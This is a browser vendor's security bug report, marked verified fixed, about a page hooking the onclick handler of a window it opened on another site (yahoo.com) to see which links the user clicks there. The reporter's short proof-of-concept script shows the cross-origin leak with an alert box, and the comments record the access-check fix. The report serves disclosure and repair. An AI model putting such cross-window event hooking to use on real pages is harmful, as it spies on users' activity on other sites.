24152 - document.onclick shows links from other window

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[joro]

It is possible to change the document.onclick event handler and this allows
seeing the link on which the user has clicked.
The code is:
------------------------------------------------
<SCRIPT>
function ev(event)
{
alert("You clicked on: "+event.target.data);
}
a=window.open("http://www.yahoo.com","victim");
setTimeout("a.document.onclick = ev;",5000);
</SCRIPT>
------------------------------------------------

Comment 1

[Norris Boyd]

Fixed: DOM prop eventtarget.addeventlistener now controls access to this event 
handler.

Comment 2

[John Unruh]

Verified fixed.

Comment 3

[leger]

Bulk moving all Browser Security bugs to new Security: General component.  The 
previous Security component for Browser will be deleted.